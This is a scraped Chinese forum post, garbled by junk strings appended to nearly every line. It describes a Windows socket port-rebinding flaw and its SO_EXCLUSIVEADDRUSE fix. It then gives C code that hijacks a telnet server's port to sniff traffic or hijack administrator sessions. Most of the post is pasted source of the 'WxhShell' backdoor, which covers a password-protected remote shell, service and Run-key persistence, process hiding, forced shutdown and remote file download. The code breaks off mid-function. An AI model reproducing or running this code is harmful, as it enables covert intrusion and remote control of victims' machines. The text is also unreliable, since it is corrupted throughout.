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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: MO0t  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); cKYvNM  
5H Cw%n9  
  saddr.sin_family = AF_INET; {zZ)JWM<w  
= V')}f~C  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 5voL@w>  
Y;Nq(  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); nql1I<I  
-f?  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 e <+)IW:  
E3a^"V3p  
  这意味着什么?意味着可以进行如下的攻击: ok6t| 7sq  
Gt{%O>P8t  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 5~pxu  
kmW/{I9,ua  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 6`-<N!  
Yv=L'0K&  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 -e$ T}3IV  
Qz=e'H  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  4wv0~T$;x  
4Kt0}W  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 =zH)R0!eG  
F u5zj\0J  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 )z&C&Gqz  
$@s-OQ}  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 WCY._H>|   
8'E7Uj  
  #include sI6*.nR  
  #include Y*b$^C%2  
  #include X\BFvSv8C  
  #include    N5W!(h)  
  DWORD WINAPI ClientThread(LPVOID lpParam);   .Ao _c x  
  int main() ?6"U('y>n  
  { '-(Z.e~e  
  WORD wVersionRequested; "KF]s.  
  DWORD ret; !pj&h0CR  
  WSADATA wsaData; p+ReQ.5|  
  BOOL val; HJb^l 4Q  
  SOCKADDR_IN saddr; !d 4DTo  
  SOCKADDR_IN scaddr; Tcv/EST  
  int err; {li Q&AZ  
  SOCKET s; AaU!a  
  SOCKET sc; 'uzHI@i  
  int caddsize; 9e.v[K~  
  HANDLE mt; yOD=Vc7i  
  DWORD tid;   zA?AX1%Wa  
  wVersionRequested = MAKEWORD( 2, 2 ); =,6X_m  
  err = WSAStartup( wVersionRequested, &wsaData ); },X.a@:  
  if ( err != 0 ) { ^d# AU7V|  
  printf("error!WSAStartup failed!\n"); Mq\?J{E  
  return -1; G_qt~U  
  } +P+h$gQ  
  saddr.sin_family = AF_INET; >KQ/ c  
   <iH   
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 4lCbUk[l  
;Tk/}Od!VN  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 6i+AJCkC  
  saddr.sin_port = htons(23); XFWE^*e=B  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ^[R/W VNk  
  { OI0@lSAo<  
  printf("error!socket failed!\n"); 'b"7Lzp2  
  return -1; H`k YDp  
  } v6wg,,T  
  val = TRUE; >B``+ Z^2  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ]):>9q$C  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ' Hj([N  
  { fg ,vTpBk  
  printf("error!setsockopt failed!\n"); Bx)!I]gi_  
  return -1; Zcw <USF8  
  } fHwS12SB  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; "PS ) "t  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 5{!"}  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 YHY*dk*|C  
i"+TKo-  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ve"tbNL  
  { B^]Gv7-  
  ret=GetLastError(); 'xG{q+jj'  
  printf("error!bind failed!\n"); %S`Wu|y  
  return -1; 6*EIhIQ(  
  } ?.-+U~  
  listen(s,2); KbciRRf!k  
  while(1) ~Hd *Xl  
  { g/FT6+&T.  
  caddsize = sizeof(scaddr); a".iVf6y  
  //接受连接请求 zRgGSxn  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); sEKF  
  if(sc!=INVALID_SOCKET) :_F 8O  
  { !]fSS)\H  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); XR<g~&h  
  if(mt==NULL) ,dosF Q  
  { N_FjEZpX  
  printf("Thread Creat Failed!\n"); =b"{*Heuw  
  break; [ns==gDD  
  } A!^r9?<  
  } JbitRV@a  
  CloseHandle(mt); f6\4 ,()  
  } 'ahZ*@kr  
  closesocket(s); mBB"e"o  
  WSACleanup(); ;*+H&  
  return 0; t+pA9^$[ `  
  }   `WMU'ezF  
  DWORD WINAPI ClientThread(LPVOID lpParam) NU'2QSU8  
  { \R-'<kN.*  
  SOCKET ss = (SOCKET)lpParam; JSylQ201  
  SOCKET sc; \|B\7a'4  
  unsigned char buf[4096]; U|QP] 6v  
  SOCKADDR_IN saddr; q-@&n6PEOZ  
  long num; a-nn[ j  
  DWORD val; Gf+X<a  
  DWORD ret; 9GT}_ ^fb  
  //如果是隐藏端口应用的话,可以在此处加一些判断 !?J- Y  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   5-H"{29  
  saddr.sin_family = AF_INET; PQ;9iv  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 9D,!]  
  saddr.sin_port = htons(23); j,9/eZRZ  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) I(k(p\l%  
  { kaoiSL<[6  
  printf("error!socket failed!\n"); *5XOYb?'v.  
  return -1; xDPR^xY  
  } "~zLG"  
  val = 100; UxF9Ko( ]d  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) |+[Y_j  
  { $*:$-  
  ret = GetLastError(); w/PE)xA  
  return -1; Lr d-  
  } II=!E  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) VV 54$a  
  { 9pr.`w  
  ret = GetLastError(); f)Y~F/[$P  
  return -1; :AQ9-&i/a-  
  } 0`v-pL0|  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) #Jp|Cb<qx  
  { =w:)AWZ  
  printf("error!socket connect failed!\n"); o9C# 5%9  
  closesocket(sc); +M#}(hK  
  closesocket(ss); O:~J_Wwl!  
  return -1; MXDCOe~07  
  } OZz!8-|wE  
  while(1) ^B}q@/KV  
  { `}L{gssv  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 )J+A2>  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ^wwS`vPb  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 @Jqo'\~&  
  num = recv(ss,buf,4096,0); M} ri>o  
  if(num>0) d.Ccc/1-  
  send(sc,buf,num,0); mC-wPi8  
  else if(num==0) @Cx goX^  
  break; s +qodb+  
  num = recv(sc,buf,4096,0); Xx2t0AIB  
  if(num>0) !)`*e>]x  
  send(ss,buf,num,0); D6fd(=t1Z  
  else if(num==0) 'qG-)2 t  
  break; /?b{*<TK  
  } o=Mm=;H  
  closesocket(ss); D dCcsYm,  
  closesocket(sc); *XYp~b  
  return 0 ; qUn+1.[%  
  } .LnknjC  
mb%U~Na  
=}I=s@  
========================================================== Aeo=m}C;  
%BT]h3dcSS  
下边附上一个代码,,WXhSHELL u~JR]T  
^^n (s_g  
========================================================== u i$4  
Bu?Qyz2O  
#include "stdafx.h" E'6/@xM  
8A::q;  
#include <stdio.h> hM>.xr  
#include <string.h> 8TU(5:xJo  
#include <windows.h> %~>-nqS  
#include <winsock2.h> E`C !q X>  
#include <winsvc.h> w-NTw2x,&  
#include <urlmon.h> Tdz#,]Q   
5DkEJk7a  
#pragma comment (lib, "Ws2_32.lib") "3a}~J<g  
#pragma comment (lib, "urlmon.lib") ?| 6sTu!  
:>_oOn[_  
#define MAX_USER   100 // 最大客户端连接数 *DZ7,$LQ~D  
#define BUF_SOCK   200 // sock buffer [7LdTY"Tl  
#define KEY_BUFF   255 // 输入 buffer D,lY_6=  
5Fj9.K~k  
#define REBOOT     0   // 重启 4}UJ Bb?  
#define SHUTDOWN   1   // 关机 F0r2=f(?  
Zw'050~-  
#define DEF_PORT   5000 // 监听端口 agkKm?xIL  
"Y4glomR[  
#define REG_LEN     16   // 注册表键长度 Z#^|h0  
#define SVC_LEN     80   // NT服务名长度 !;d>}iE   
&#gh :5  
// 从dll定义API JR&yaOws  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);  &"27U  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); _V0%JE'  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); D:z_FNN  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); :V@)A/}uk  
PDz:x4A  
// wxhshell配置信息 .=d40m  
struct WSCFG { PyK!Cyq  
  int ws_port;         // 监听端口 \IudS{ .?;  
  char ws_passstr[REG_LEN]; // 口令 BpX`49  
  int ws_autoins;       // 安装标记, 1=yes 0=no fBz|-I:k +  
  char ws_regname[REG_LEN]; // 注册表键名 $ e,r>tgD  
  char ws_svcname[REG_LEN]; // 服务名 j+q)  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 B%k C>J  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ` vFDO$K  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 AGjjhbGB  
int ws_downexe;       // 下载执行标记, 1=yes 0=no >ZeARCf"f  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" E $W0HZ'  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 .)p%|A#^  
K)+]as  
}; ~t$ng l$  
{{>,c}O /  
// default Wxhshell configuration f4F%\ "  
struct WSCFG wscfg={DEF_PORT, n6M#Xc'JA  
    "xuhuanlingzhe",  s_+.xIZ  
    1, 3c(mZ   
    "Wxhshell", Br42Qo2"T>  
    "Wxhshell", Hi/[  
            "WxhShell Service", V\e1NS  
    "Wrsky Windows CmdShell Service", ^,5%fl  
    "Please Input Your Password: ", #`K{vj  
  1, PX2b(fR8_O  
  "http://www.wrsky.com/wxhshell.exe", iWFtb)3B  
  "Wxhshell.exe" >ke.ZZV?  
    }; oR,zr  
5ug|crX  
// 消息定义模块 ;volBfv  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; }; M@JMu,  
char *msg_ws_prompt="\n\r? for help\n\r#>"; :=5X)10  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; _' X  
char *msg_ws_ext="\n\rExit."; 261? 8&c  
char *msg_ws_end="\n\rQuit."; 4i }nk T  
char *msg_ws_boot="\n\rReboot..."; q4G$I?4  
char *msg_ws_poff="\n\rShutdown..."; XZ3fWcw[  
char *msg_ws_down="\n\rSave to "; W,H=K##6<  
'Nuy/\[{\  
char *msg_ws_err="\n\rErr!"; P{:Zxli0  
char *msg_ws_ok="\n\rOK!"; 2mMi=pv9  
,=c(P9}^  
char ExeFile[MAX_PATH]; 1CSGG'J]E  
int nUser = 0; ]\oT({$6B  
HANDLE handles[MAX_USER]; 1;i|GXY:h  
int OsIsNt; G -K{  
^;9l3P{  
SERVICE_STATUS       serviceStatus; ur=:Ha  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; mW+5I-~  
XzqB=iX  
// 函数声明 J P5en  
int Install(void); UIg?3J}R  
int Uninstall(void); KsK]y,^Z  
int DownloadFile(char *sURL, SOCKET wsh); bmi",UZ:F  
int Boot(int flag); =1(7T.t  
void HideProc(void); v}D0t]  
int GetOsVer(void); ?9!9lSH6%  
int Wxhshell(SOCKET wsl); G51-CLM,  
void TalkWithClient(void *cs); 7/k7V)  
int CmdShell(SOCKET sock); /"m#mh L  
int StartFromService(void); e>.^RtDF  
int StartWxhshell(LPSTR lpCmdLine); |cp_V  
K IR3m )  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); LpSF*xm  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); }|N88PN  
[Ob'E!;<  
// 数据结构和表定义 L+T7Ge q  
SERVICE_TABLE_ENTRY DispatchTable[] = "L1LL iS  
{ XP:fL NpQ  
{wscfg.ws_svcname, NTServiceMain}, 55UPd#E'  
{NULL, NULL} K :+q9;g  
}; #w\x-i|  
>9i>A:  
// 自我安装 7ncR2-{g  
int Install(void) pR=R{=}wV  
{ &)JoB  
  char svExeFile[MAX_PATH]; \*qradgx$  
  HKEY key; ?EPHq, E  
  strcpy(svExeFile,ExeFile); WS(m#WFQr  
f8=qnY2j  
// 如果是win9x系统,修改注册表设为自启动 G(Hr*T%  
if(!OsIsNt) { v.vkQQ0[9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7+@-mJMP$D  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &2[Xu4*  
  RegCloseKey(key); 1OMaY5F  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { N#)Klq87z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2_o\Wor#  
  RegCloseKey(key); 9) $[W  
  return 0; U:eX^LE7  
    } Q=vo5)t   
  } br 3-.g  
} ycki0&n3  
else { P2iuB|B@  
P$N5j~*  
// 如果是NT以上系统,安装为系统服务 /-m)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); c;-N RvVb  
if (schSCManager!=0) *B{]  
{ "lC>_A  
  SC_HANDLE schService = CreateService "Ms{c=XPK  
  ( ?u".*!%  
  schSCManager, ;;XY&J  
  wscfg.ws_svcname, bwP@}(K  
  wscfg.ws_svcdisp, s|c}9/Xe)  
  SERVICE_ALL_ACCESS, OpU9:^ r  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , bj 8pqw|;  
  SERVICE_AUTO_START, z7L+wNYwg  
  SERVICE_ERROR_NORMAL, w9RBT(u  
  svExeFile, &+ PVY>q  
  NULL, MZcvr9y  
  NULL, Y8IC4:EO  
  NULL, D)l\zs%ie  
  NULL, vlZmmQeJm  
  NULL [q_62[-X  
  ); p1i}fGS  
  if (schService!=0)  cC|  
  { KLVYWZib  
  CloseServiceHandle(schService); x%goyXK  
  CloseServiceHandle(schSCManager); k$8Zg*)  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); NG:4Q.G1g  
  strcat(svExeFile,wscfg.ws_svcname); @OUBo;/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { (JnEso-V  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); +j+ v(-  
  RegCloseKey(key); K3h7gY|.  
  return 0; nR@mm j  
    } QlR~rFs9t  
  } .]zZwB  
  CloseServiceHandle(schSCManager); rUyGTe(@h  
} iQG]v[$  
} GBR$k P  
B"#pvJN  
return 1; h)j#?\KYm9  
} f?eq-/UR  
<gH-`3 J6  
// 自我卸载 0pW;H|h  
int Uninstall(void) ]GCw3r(!  
{  F0zaA  
  HKEY key; YPq:z"`-y4  
M2d&7>N  
if(!OsIsNt) { qTwl\dcncC  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { n@"<NKzh  
  RegDeleteValue(key,wscfg.ws_regname); mvt-+K?U  
  RegCloseKey(key); y:$qX*+9e  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9,\AAISi  
  RegDeleteValue(key,wscfg.ws_regname); q+<,FdG  
  RegCloseKey(key); !Icznou\  
  return 0; (Pw,3CbJ  
  } )dEcKH<#  
} J.U%W}Hx  
} "*l{ m2"  
else { v3t<rv  
KU0Ad);e  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); q(hBqUW  
if (schSCManager!=0) T \- x3i  
{ \dE{[^.5  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); OK`^DIr5l  
  if (schService!=0) #r?[@aJ  
  { P ecZuv  
  if(DeleteService(schService)!=0) { UGgo;e  
  CloseServiceHandle(schService); F6Q%<p a  
  CloseServiceHandle(schSCManager); 8'TIDu  
  return 0; 7P*\|Sxk%  
  } fi~@J`  
  CloseServiceHandle(schService); )t7MD(  
  } GVn'p Wg  
  CloseServiceHandle(schSCManager); '/0e!x/8  
} "zTy_0[;  
} h&d"|<  
gp$Rf9\  
return 1; xt "-Jmox  
} xE!0p EHd  
c>3? T^=  
// 从指定url下载文件 ~OxFgKn23&  
int DownloadFile(char *sURL, SOCKET wsh) ZPq.|6&  
{ #6 [F&  
  HRESULT hr; ZfVY:U:o>  
char seps[]= "/"; Lr6C@pI  
char *token; c{?SFwgd  
char *file; ,C 0y3pL  
char myURL[MAX_PATH]; es%py~m)  
char myFILE[MAX_PATH]; S<'_{uz  
Q2woCx B  
strcpy(myURL,sURL); Lpkx$QZ  
  token=strtok(myURL,seps); #;@I.  
  while(token!=NULL) a$^)~2U{  
  { Pw7uxN`  
    file=token; P,WQN[(+  
  token=strtok(NULL,seps); }opMf6`w  
  } 1|H4]!7kE  
:(yu t  
GetCurrentDirectory(MAX_PATH,myFILE); |#yT]0L%pA  
strcat(myFILE, "\\"); RIO?rt;  
strcat(myFILE, file); Y= =5\;-  
  send(wsh,myFILE,strlen(myFILE),0); l.Ev]G/5  
send(wsh,"...",3,0); .j|uf[?h  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); /Qef[$!(  
  if(hr==S_OK) .Z"`:4O   
return 0; 9(z) ^ G  
else [E6ceX0  
return 1; e00 }YWf%  
_G.!^+)kEm  
} Ef ?|0Gm  
lVd-{m)  
// 系统电源模块 Lz-|M?(  
int Boot(int flag) !hS)W7!ik  
{ OU#p^ 5K  
  HANDLE hToken; 94t`&jZ&|u  
  TOKEN_PRIVILEGES tkp; 5=<KA   
+s;Vfc$b]H  
  if(OsIsNt) { hmG8 {h/  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ~ QohP`_  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); g&EK^q  
    tkp.PrivilegeCount = 1; |4 2;171  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; _29wQn@]  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); S+wT}_BQ  
if(flag==REBOOT) { ~%M*@ fm  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) shy[>\w  
  return 0; U@n5:d=  
} z\8s |!  
else { 8JF<SQ  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) >BK/HuS  
  return 0; kw gLK@@%1  
} `VUJW]wGu  
  } 2  @T~VRy  
  else { #G`K<%{?f  
if(flag==REBOOT) { 5VQ-D`kE+  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) H8dS]N~[Y  
  return 0; =2NrmwWZs  
} W+U0Y,N6  
else { }gt)cOaY  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) g"m9[R=]6  
  return 0; -U A &Zt  
} JXq!v:w6  
} ~jHuJ` ]DF  
N81M9#,["~  
return 1; "X;5* 4+  
} Kr1Y3[iNv  
oz,.gP%  
// win9x进程隐藏模块 Buh}+n2]5  
void HideProc(void) `^'fS@VA  
{ mXS]SE  
XK@&$~iA3  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); YX)Rs Vf  
  if ( hKernel != NULL ) )S`[ gK  
  { f>4|>kS  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Kn=EDtg  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); .j^BWr  
    FreeLibrary(hKernel); T{m) = (q  
  } $0un`&W  
S ~fz  
return; 8Lx1XbwK  
} "$o>_+U  
g)TZ/,NQ{  
// 获取操作系统版本 CxJ3u  
int GetOsVer(void) w{k^O7~  
{ }S?"mg& V  
  OSVERSIONINFO winfo; Z[] 8X@IPe  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); zF>;7'\x  
  GetVersionEx(&winfo); B]()  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) #>,E"-]f  
  return 1; 6aHD?a o  
  else +/RR!vG,  
  return 0; tK/,U =+  
} /je $+  
Ok{1{EmP  
// 客户端句柄模块  |:x,|>/  
int Wxhshell(SOCKET wsl) La '6k  
{ yZ)9Hd   
  SOCKET wsh; aT}Hc5L,b  
  struct sockaddr_in client; !vpXXI4  
  DWORD myID; (jj`}Qe3U  
<Z.{q Zd  
  while(nUser<MAX_USER) !QbuOvw  
{ 8HJ,6Lr;  
  int nSize=sizeof(client); i\b^}m8c.N  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); i$6rnS&C  
  if(wsh==INVALID_SOCKET) return 1; G8%VL^;O*5  
qhcx\eD:?  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); |&W4Dk n  
if(handles[nUser]==0) _#&oQFdYR  
  closesocket(wsh); hxM{}}.E  
else b)e;Q5Z(.  
  nUser++; _kMHF  
  } ]adgOlM  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ry=8Oq&[~  
L*,h=#x(  
  return 0; H&p:  
} Qox/abC h  
A/UOcl+N  
// 关闭 socket dhnX\/  
void CloseIt(SOCKET wsh) !y/e Fx  
{ vazA@|^8  
closesocket(wsh); Y`eF9Im,  
nUser--; "!AtS  
ExitThread(0); u%yYLpaKf  
} qGMU>J.;c  
Xa#.GrH6  
// 客户端请求句柄 AH/o-$C&  
void TalkWithClient(void *cs) UQ;2g\([  
{ ty"L&$bf  
!m9hL>5vR  
  SOCKET wsh=(SOCKET)cs; rEC  
  char pwd[SVC_LEN]; 00dY?d{[D  
  char cmd[KEY_BUFF]; ]cS(2hP7  
char chr[1]; 4;AQ12<[1  
int i,j; O< /b]<[  
^p9V5o  
  while (nUser < MAX_USER) { Tsb}\  
IO 0nT  
if(wscfg.ws_passstr) { 1y1:<t  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 'kC#GTZi  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #\^=3A|b  
  //ZeroMemory(pwd,KEY_BUFF); phf{b+'#X  
      i=0; '/6f2[%Y"  
  while(i<SVC_LEN) { ZX`x9/0&  
`5wiXsNjLY  
  // 设置超时 w6X:39d  
  fd_set FdRead; 4^:dmeMZ`  
  struct timeval TimeOut; -.M J3  
  FD_ZERO(&FdRead); oi,KA  
  FD_SET(wsh,&FdRead);  1hi, &h  
  TimeOut.tv_sec=8; glU9A39qx?  
  TimeOut.tv_usec=0; ^AJ 2Y_}v  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); V?"U)Y@Y  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); f"*4R kG  
=P9rOK=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); SG\ /m'F  
  pwd=chr[0]; G<<; a  
  if(chr[0]==0xd || chr[0]==0xa) { Q(yg bT  
  pwd=0; ftPhE)i  
  break; YzM/?enK}T  
  } YlG#sBzl  
  i++; L xIKH G  
    } 5EI"5&`*  
id : ^|  
  // 如果是非法用户,关闭 socket 4~$U#$u_  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ~J+ qIZge  
} 5WRqeSGh  
CALD7qMK  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); U_gkO;s%  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *!BQ1 ] G  
;^0ok'P\~9  
while(1) { 047PlS  
.B2e$`s$  
  ZeroMemory(cmd,KEY_BUFF); M!!vr8}  
!]A/ID0K  
      // 自动支持客户端 telnet标准   N5=}0s]e  
  j=0; ^mFsrw  
  while(j<KEY_BUFF) { w_@{v wM$A  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); qk3 ~]</  
  cmd[j]=chr[0]; .-& =\}^2l  
  if(chr[0]==0xa || chr[0]==0xd) { G:lhrT{  
  cmd[j]=0; ps,Kj3^T<  
  break; zZRLFfz<9  
  } t B`"gC~  
  j++; Viw,YkC  
    } <b _K*]Z  
sg}<()  
  // 下载文件 ,%xat`d3,3  
  if(strstr(cmd,"http://")) { N2[jBy8M  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); bDh4p]lm  
  if(DownloadFile(cmd,wsh)) %++: K  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); }93FWo.  
  else eX"Ecl{  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Rc4=zimr+  
  } pxedj  
  else { =+T0[|gc(r  
,98 F  
    switch(cmd[0]) { G"u4]!$/  
  US9aW)8  
  // 帮助 t!J>853  
  case '?': { I/A%3i=H  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); g5Io=e@s  
    break; !- QB>`7$  
  } 0k?]~ f  
  // 安装 Y`-q[F?\y  
  case 'i': { t4:/qy  
    if(Install()) 7zE1>.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m zoH$@  
    else =X[?d/[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Nr,I`x\N  
    break; GtIAsC03  
    } )y:))\>  
  // 卸载 R N@)nc_  
  case 'r': { bZfq?   
    if(Uninstall()) M3]eqxLC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bVN?7D(  
    else _]Ob)RUVH  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WpE "A  
    break; Xf7]+  
    } nC??exc  
  // 显示 wxhshell 所在路径 eUCBQK  
  case 'p': { 7iM@BeIf  
    char svExeFile[MAX_PATH];  Q$`uZ  
    strcpy(svExeFile,"\n\r"); BSd.7W;cS=  
      strcat(svExeFile,ExeFile); _G<Wq`0w)  
        send(wsh,svExeFile,strlen(svExeFile),0); G}NqVbZ9]  
    break; >< S2o%u~  
    } &LB`  
  // 重启 Ic!x y  
  case 'b': { 2Y[n  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Y*#TfWv:  
    if(Boot(REBOOT)) hmuhq:<f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8JR&s  
    else { :ntAU2)H  
    closesocket(wsh); #FRm<9/j  
    ExitThread(0); B]gyj  
    } \21Gg%W5AE  
    break; LqJV  
    } NhF"%  
  // 关机 f61vE  
  case 'd': { =c&.I}^1L  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); FdEUZ[IT`{  
    if(Boot(SHUTDOWN)) %Q]thv:  
